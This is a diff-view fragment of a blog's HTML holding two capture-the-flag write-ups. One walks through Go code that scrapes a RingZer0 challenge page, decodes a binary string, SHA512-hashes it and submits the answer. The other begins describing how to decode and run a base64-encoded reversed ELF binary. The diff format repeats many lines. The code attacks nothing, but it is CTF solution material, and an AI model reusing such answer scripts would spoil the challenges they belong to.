</span></span></code></pre></div><p>Finally, we print out the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Println</span>(<span style=color:#a6e22e>flag</span>)
</span></span></code></pre></div><p>Here&rsquo;s the code in all it&rsquo;s glory.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#f92672>package</span> <span style=color:#a6e22e>main</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> (
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#34;crypto/sha512&#34;</span>

View File

@@ -7,25 +7,25 @@ const uri = "http://challenges.ringzer0team.com:10014/"
We fetch the challenge page and defer closing its body once the program ends.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Aug 19, 2022 | 3 minutes read</time></p><h1 data-pagefind-meta=title>RingZer0 CTF Hash Me Reloaded</h1></hgroup><section class=post-content data-pagefind-body><p>In this RingZer0 challenge, we are to visit the challenge url where we are
given 2 seconds to SHA512 hash the message represented by the binary provided
string. We must send the response with the request parameter <code>r</code>. Let&rsquo;s write
a go program to do that.</p><p>First let&rsquo;s declare the url as a constant.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>uri</span> = <span style=color:#e6db74>&#34;http://challenges.ringzer0team.com:10014/&#34;</span>
</span></span></code></pre></div><p>We fetch the challenge page and defer closing its body once the program ends.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>resp</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>uri</span>)
a go program to do that.</p><p>First let&rsquo;s declare the url as a constant.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>const</span> <span style=color:#a6e22e>uri</span> = <span style=color:#e6db74>&#34;http://challenges.ringzer0team.com:10014/&#34;</span>
</span></span></code></pre></div><p>We fetch the challenge page and defer closing its body once the program ends.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>resp</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>uri</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span><span style=display:flex><span><span style=color:#66d9ef>defer</span> <span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>.<span style=color:#a6e22e>Close</span>()
</span></span></code></pre></div><p>We will use the <code>goquery</code> library to parse the response HTML.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>)
</span></span></code></pre></div><p>We will use the <code>goquery</code> library to parse the response HTML.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We find the single (<code>goquery.Single</code>) element with the &ldquo;message&rdquo; class and get
the text contents of the element.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>text</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.message&#34;</span>)).<span style=color:#a6e22e>Text</span>()
the text contents of the element.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>text</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.message&#34;</span>)).<span style=color:#a6e22e>Text</span>()
</span></span></code></pre></div><p>To grab the line which has the actual binary string, we split the lines and
take the third (which is index 2, remember computers begin indexing from 0).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>binary</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Split</span>(<span style=color:#a6e22e>text</span>, <span style=color:#e6db74>&#34;\n&#34;</span>)[<span style=color:#ae81ff>2</span>]
</span></span></code></pre></div><p>Let&rsquo;s also trim any spaces and tabs as a precaution.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>binary</span> = <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Trim</span>(<span style=color:#a6e22e>binary</span>, <span style=color:#e6db74>&#34; \t&#34;</span>)
</span></span></code></pre></div><p>We declare a buffer where we can store the decoded contents.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>var</span> <span style=color:#a6e22e>buf</span> []<span style=color:#66d9ef>byte</span>
take the third (which is index 2, remember computers begin indexing from 0).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>binary</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Split</span>(<span style=color:#a6e22e>text</span>, <span style=color:#e6db74>&#34;\n&#34;</span>)[<span style=color:#ae81ff>2</span>]
</span></span></code></pre></div><p>Let&rsquo;s also trim any spaces and tabs as a precaution.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>binary</span> = <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Trim</span>(<span style=color:#a6e22e>binary</span>, <span style=color:#e6db74>&#34; \t&#34;</span>)
</span></span></code></pre></div><p>We declare a buffer where we can store the decoded contents.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>var</span> <span style=color:#a6e22e>buf</span> []<span style=color:#66d9ef>byte</span>
</span></span></code></pre></div><p>Since each character in the string represents a bit, 8 of them represent a byte.
We will loop with a sliding window of 8 characters, parse them as an integer into a byte
and append them to the buffer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>for</span> <span style=color:#a6e22e>i</span> <span style=color:#f92672>:=</span> <span style=color:#ae81ff>0</span>; <span style=color:#a6e22e>i</span> &lt; len(<span style=color:#a6e22e>binary</span>)<span style=color:#f92672>/</span><span style=color:#ae81ff>8</span>; <span style=color:#a6e22e>i</span><span style=color:#f92672>++</span> {
and append them to the buffer.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#66d9ef>for</span> <span style=color:#a6e22e>i</span> <span style=color:#f92672>:=</span> <span style=color:#ae81ff>0</span>; <span style=color:#a6e22e>i</span> &lt; len(<span style=color:#a6e22e>binary</span>)<span style=color:#f92672>/</span><span style=color:#ae81ff>8</span>; <span style=color:#a6e22e>i</span><span style=color:#f92672>++</span> {
</span></span><span style=display:flex><span> <span style=color:#75715e>// decode sequence of 8 bits with base 2</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> <span style=color:#a6e22e>b</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>strconv</span>.<span style=color:#a6e22e>ParseInt</span>(<span style=color:#a6e22e>binary</span>[<span style=color:#a6e22e>i</span><span style=color:#f92672>*</span><span style=color:#ae81ff>8</span>:<span style=color:#ae81ff>8</span><span style=color:#f92672>+</span><span style=color:#a6e22e>i</span><span style=color:#f92672>*</span><span style=color:#ae81ff>8</span>], <span style=color:#ae81ff>2</span>, <span style=color:#ae81ff>8</span>); <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatal</span>(<span style=color:#a6e22e>err</span>)
@@ -34,25 +34,25 @@ and append them to the buffer.</p><div class=highlight><pre tabindex=0 style=col
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Let&rsquo;s find the SHA512 hash of the decoded string using the <code>Sum512</code> function
from the standard <code>crypto/sha512</code> library.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>hash</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>sha512</span>.<span style=color:#a6e22e>Sum512</span>(<span style=color:#a6e22e>buf</span>)
from the standard <code>crypto/sha512</code> library.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>hash</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>sha512</span>.<span style=color:#a6e22e>Sum512</span>(<span style=color:#a6e22e>buf</span>)
</span></span></code></pre></div><p>We use format strings to construct the new URI, we can use format strings. Here
<code>%s</code> is a placeholder for the constant URI, <code>?r=</code> is the parameter we are
supply the answer to and <code>%x</code> represents the hex digest of the hash.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagUri</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Sprintf</span>(<span style=color:#e6db74>&#34;%s?r=%x&#34;</span>, <span style=color:#a6e22e>uri</span>, <span style=color:#a6e22e>hash</span>)
supply the answer to and <code>%x</code> represents the hex digest of the hash.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagUri</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Sprintf</span>(<span style=color:#e6db74>&#34;%s?r=%x&#34;</span>, <span style=color:#a6e22e>uri</span>, <span style=color:#a6e22e>hash</span>)
</span></span></code></pre></div><p>Once we have this URI, we can send this through to get a response. As done
previously, we defer closing the response body once the program ends.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagPage</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>flagUri</span>)
previously, we defer closing the response body once the program ends.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flagPage</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>flagUri</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span><span style=display:flex><span><span style=color:#66d9ef>defer</span> <span style=color:#a6e22e>flagPage</span>.<span style=color:#a6e22e>Body</span>.<span style=color:#a6e22e>Close</span>()
</span></span></code></pre></div><hr><p>Pause and ponder to make sure you have understood the code so far.</p><p>Now you could print the response body as I did the first time solving this.
However, as with any other writeup, I will write the rest of the program so
that it only prints the flag when run.</p><hr><p>Lets parse the response body using <code>goquery</code> again.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> = <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>flagPage</span>.<span style=color:#a6e22e>Body</span>)
that it only prints the flag when run.</p><hr><p>Lets parse the response body using <code>goquery</code> again.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> = <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>flagPage</span>.<span style=color:#a6e22e>Body</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The flag is located in the <em>div</em> element with the class “alert-info”.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flag</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.alert-info&#34;</span>)).<span style=color:#a6e22e>Text</span>()
</span></span></code></pre></div><p>Finally, we print out the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Println</span>(<span style=color:#a6e22e>flag</span>)
</span></span></code></pre></div><p>The final code becomes the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#f92672>package</span> <span style=color:#a6e22e>main</span>
</span></span></code></pre></div><p>The flag is located in the <em>div</em> element with the class “alert-info”.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>flag</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.alert-info&#34;</span>)).<span style=color:#a6e22e>Text</span>()
</span></span></code></pre></div><p>Finally, we print out the flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>fmt</span>.<span style=color:#a6e22e>Println</span>(<span style=color:#a6e22e>flag</span>)
</span></span></code></pre></div><p>The final code becomes the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#f92672>package</span> <span style=color:#a6e22e>main</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> (
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#34;crypto/sha512&#34;</span>

View File

@@ -4,13 +4,13 @@ If we try to decode the message manually, the decoded message ends up either in
Trying this multiple times, it becomes apparent that the challenge reverses an ELF binary, encodes it one or more times in base64 and sends it to us.
If we run the executable, we are given a string which we must send to the challenge endpoint through the r HTTP GET query parameter. The real challenge is to do this within the few seconds before the server resets the challenge.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Aug 19, 2022 | 4 minutes read</time></p><h1 data-pagefind-meta=title>I Saw a Little Elf</h1></hgroup><section class=post-content data-pagefind-body><h2 id=introduction>Introduction</h2><p>This challenge asks us to connect to an webpage with a base64 encoded message.
If we try to decode the message manually, the decoded message ends up either in a reversed ELF (Executable and Linkable Format) binary or more base64 to be decoded.</p><p>Trying this multiple times, it becomes apparent that the challenge reverses an ELF binary, encodes it one or more times in base64 and sends it to us.
If we run the executable, we are given a string which we must send to the challenge endpoint through the <code>r</code> HTTP GET query parameter. The real challenge is to do this within the few seconds before the server resets the challenge.</p><h2 id=exploration>Exploration</h2><p>Let&rsquo;s start by fetching the contents of the challenge URI.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>resp</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>uri</span>)
If we run the executable, we are given a string which we must send to the challenge endpoint through the <code>r</code> HTTP GET query parameter. The real challenge is to do this within the few seconds before the server resets the challenge.</p><h2 id=exploration>Exploration</h2><p>Let&rsquo;s start by fetching the contents of the challenge URI.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>resp</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>http</span>.<span style=color:#a6e22e>Get</span>(<span style=color:#a6e22e>uri</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
</span></span><span style=display:flex><span><span style=color:#66d9ef>defer</span> <span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>.<span style=color:#a6e22e>Close</span>()
</span></span></code></pre></div><p>To parse the webpage, we will use the <code>goquery</code> package.
We create a new goquery document from the response body.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>)
We create a new goquery document from the response body.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>doc</span>, <span style=color:#a6e22e>err</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>NewDocumentFromReader</span>(<span style=color:#a6e22e>resp</span>.<span style=color:#a6e22e>Body</span>)
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> <span style=color:#a6e22e>err</span> <span style=color:#f92672>!=</span> <span style=color:#66d9ef>nil</span> {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>log</span>.<span style=color:#a6e22e>Fatalln</span>(<span style=color:#a6e22e>err</span>)
</span></span><span style=display:flex><span>}
@@ -18,56 +18,56 @@ We create a new goquery document from the response body.</p><div class=highlight
data can be extracted from the HTML <code>div</code> element with the
&ldquo;message&rdquo; class.</p><p>We use a matcher that matches a single, that is, the first
occurence of the aforementioned element and extract the
text inside the element.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>message</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.message&#34;</span>)).<span style=color:#a6e22e>Text</span>()
text inside the element.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>message</span> <span style=color:#f92672>:=</span> <span style=color:#a6e22e>doc</span>.<span style=color:#a6e22e>FindMatcher</span>(<span style=color:#a6e22e>goquery</span>.<span style=color:#a6e22e>Single</span>(<span style=color:#e6db74>&#34;.message&#34;</span>)).<span style=color:#a6e22e>Text</span>()
</span></span></code></pre></div><p>The raw text has a few leading and trailing lines that are
not useful for us. We will split the lines and take the one
after the first two lines.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>message</span> = <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Split</span>(<span style=color:#a6e22e>message</span>, <span style=color:#e6db74>&#34;\n&#34;</span>)[<span style=color:#ae81ff>2</span>]
after the first two lines.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-go data-lang=go><span style=display:flex><span><span style=color:#a6e22e>message</span> = <span style=color:#a6e22e>strings</span>.<span style=color:#a6e22e>Split</span>(<span style=color:#a6e22e>message</span>, <span style=color:#e6db74>&#34;\n&#34;</span>)[<span style=color:#ae81ff>2</span>]
</span></span></code></pre></div><p>We will wipe any newlines, spaces and tabs before further
